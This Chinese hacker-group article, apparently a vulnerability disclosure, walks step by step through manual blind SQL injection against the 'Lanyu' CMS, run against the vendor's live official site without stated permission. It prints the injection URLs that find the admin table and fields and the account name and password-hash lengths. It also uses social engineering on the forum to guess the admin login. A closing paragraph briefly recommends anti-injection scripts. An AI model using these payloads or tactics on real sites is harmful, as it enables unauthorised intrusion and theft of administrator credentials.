本來是投稿文章來的,因為稿件的問題所以就上不了雜志,再加上最近有些人在網(wǎng)站留言說三道四的猜測藍(lán)雨的問題,所以我就公開漏洞預(yù)警所說的漏洞,官方已經(jīng)把版本都打了補(bǔ)丁,當(dāng)然有些使用網(wǎng)站至今還是存在著SQL注入漏洞的,所以一切后果與我以及BCT小組無關(guān) 
最近無聊，在網(wǎng)上走來走去看看。發(fā)現(xiàn)現(xiàn)在的整站系統(tǒng)可是越來越多了，修改版本等等的N多阿！而藍(lán)雨設(shè)計整站的使用者也越來越多了，藍(lán)雨整站系統(tǒng)是從NOWA 0.94修改而來的！基于NOWA的系統(tǒng)不單指藍(lán)雨一個還有很多的！我在此就不一一列舉了，核心都是一樣，只是程序的附加功能就各自不同！安全方面因為基于NOWA的系統(tǒng)所以到目前知道的漏洞就只有上傳而已。以下文章中就會出現(xiàn)NOWA修改系統(tǒng)漏洞當(dāng)中從未有的SQL注入漏洞！只怪藍(lán)雨修改程序的時候沒有做好注入問題了！這個可不能怪我！誰叫人家程序設(shè)計員不會注意安全死角阿？ 
一，確定注入點 
我們就拿官方網(wǎng)站進(jìn)行測試，因為擔(dān)心外面提供的版本并非最新版本導(dǎo)致文章的正確性有差異。首先我們提交http://***.net/view.asp?action=art&art_id=70 and 1=1 返回以下信息。 
再次輸入 
http://***.net/view.asp?action=art&art_id=70%20and%201=2 返回以下信息 
從標(biāo)準(zhǔn)的SQL注入點檢測and1=1和and 1=2d 信息返回可以看出，兩個圖片的分別這個程序的評論存在著SQL注入，因為現(xiàn)在基于NOWA的修改版本都是基于ACCESS數(shù)據(jù)庫架構(gòu)的，所以我們可以進(jìn)一步的確定這個程序的數(shù)據(jù)庫類型。 
二，猜解數(shù)據(jù)庫表 
因為本人懶惰所以只好借用NBSI進(jìn)行SQL注入的工作了，怎么知道是不是因為的NBSI實在太厲害了，不能夠殺雞用牛刀。竟然它全部檢測不出我所找到的SQL注入點存在著SQL注入!實在太令人感到吃驚（HaK_BaN：難道真的....真的要我手動注入T_T）NBSI太給面子了！所以我只好硬著頭皮去進(jìn)行手動注入了。首先猜解數(shù)據(jù)庫的表是否存在admin表。構(gòu)造語句提交 
http://***.net/view.asp?action=art&art_id=70%20and%200????(select%20count(*)%20from%20admin) 現(xiàn)在的程序當(dāng)中的數(shù)據(jù)庫管理員表，不就是admin，adminuser user之類的名稱，所以我們只要抓住程序作者的心理就可以知道了，提交語句之后頁面返回正常，我們就可以確定數(shù)據(jù)庫當(dāng)中是存在admin這個表的。我們只是需要admin的密碼以及賬號，所以數(shù)據(jù)庫當(dāng)中其他的表可以忽略。 
三，猜解數(shù)據(jù)庫字段 
在猜解之前為了減少更多的麻煩和無謂的猜解，應(yīng)該要對于所入侵的網(wǎng)站進(jìn)行一些資料的搜集，例如管理員的QQ以及管理員所使用的網(wǎng)名都是要知道的，因為我們通常都會使用容易記憶的密碼以及賬號，從而使自己可以不會忘記。找了文章頁面等等的功能頁面都找不到文章編輯以及管理員的QQ號碼。只好在BBS當(dāng)中尋找了，很幸運(yùn)的是我們在BBS當(dāng)中找到了“藍(lán)雨”這個用戶名，這樣子等待會猜解admin賬號的時候我們可以試試中文的名字或者是拼音字母。（HaK_BaN：我可是曾經(jīng)在MSN以一個名字看穿PLMM性格以及生日的哦，大家要注意社會工程學(xué)的重要性阿） 
廢話少說，我們看看這個程序的管理員字段是什么?。渴紫炔陆馐莕ame的提交語句如下http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(name)??0) (HaK_BaN:*_*不是阿！不是NAME字段阿）提交語句后信息返回頁面顯示不正常就證實admin表中沒有name這個字段名。看來又要想想如何去進(jìn)行猜解了，既然name字段不行就試試admin_name字段行不行！再次構(gòu)造猜解字段語句：http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??0) （HaK_BaN：這下子總可以了吧？我又邁進(jìn)一步了?。┨峤徽Z句之后頁面返回正常了，這下子終于可以了。 
然后，我們就開始猜解password的字段了，其實一看上面的回顯我們就可以非常肯定的說password字段就是admin_password，所以提交的語句就是http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_password)??0) 信息回顯正常對吧?。抗?nbsp;
說到這里整個猜解就差不多完場了?。ú锁B：什么什么阿？還有賬號和密碼了？你丫的是不是傻了？）猜解密碼和賬號就更加是一個麻煩和浪費時間的活來的！好好，我們?nèi)タ纯促~號和密碼的猜解如何？首先我們猜解賬號的長短阿！假設(shè)，我們之前就已經(jīng)拿到了管理員常用的賬號名稱“藍(lán)雨”是管理員賬號。我們就有兩種可能性，一是藍(lán)雨的拼音“l(fā)anyu”，二是藍(lán)雨的中文轉(zhuǎn)為ASCII碼進(jìn)行猜解。我們首先試試拼音這個的可能性，如果是這樣子的話我們就要構(gòu)造admin_name的長度為5，所以提交語句為http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??5) 頁面信息返回?zé)o法正常顯示。然后再提交http://fj126.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??4)這下子頁面可算是正常了！然后再次提交語句為http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)=5)我們就可以確定admin_name的長度為5了。賬號長度出來了，而password的長度我們還不知道，根據(jù)信息收集得知密碼是利用MD5 16位加密的，所以我們可以猜解為密碼長度是16位喔！提交語句http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_password)=16)這里就不截圖了！我們可以基本上就知道了！賬號長度為5位，密碼長度為16位。（HaK_BaN：說真的我很久沒有手動了，都差不多腰酸背痛了?。┲劣谫~號是多少密碼是多少我就不再列舉了！經(jīng)過測試剛剛的社會工程學(xué)得到的管理員賬號為：lanyu是正確的！而密碼的確是MD516位加密。整個過程可以利用臭要飯的CSC進(jìn)行注入測試！ 
四，總結(jié) 
整個程序的SQL注入頁面有幾個，都是基于藍(lán)雨整站自身添加的功能頁面沒有做好相關(guān)的SQL注入導(dǎo)致的，如果大家有在使用這個程序的話，可以使用通用防止注入的腳本進(jìn)行防止，雖然說MD5需要暴力破解，但是如果你真的得罪人的話，不要說破解了。可能你的網(wǎng)站都會被別人干的一干二凈，網(wǎng)絡(luò)安全是很重要的一部分，希望大家不要輕視安全這個環(huán)節(jié)！以上文章如有錯誤請大家指出，有什么問題可以到非安全的論壇或者BCT小組找我！ 

最新評論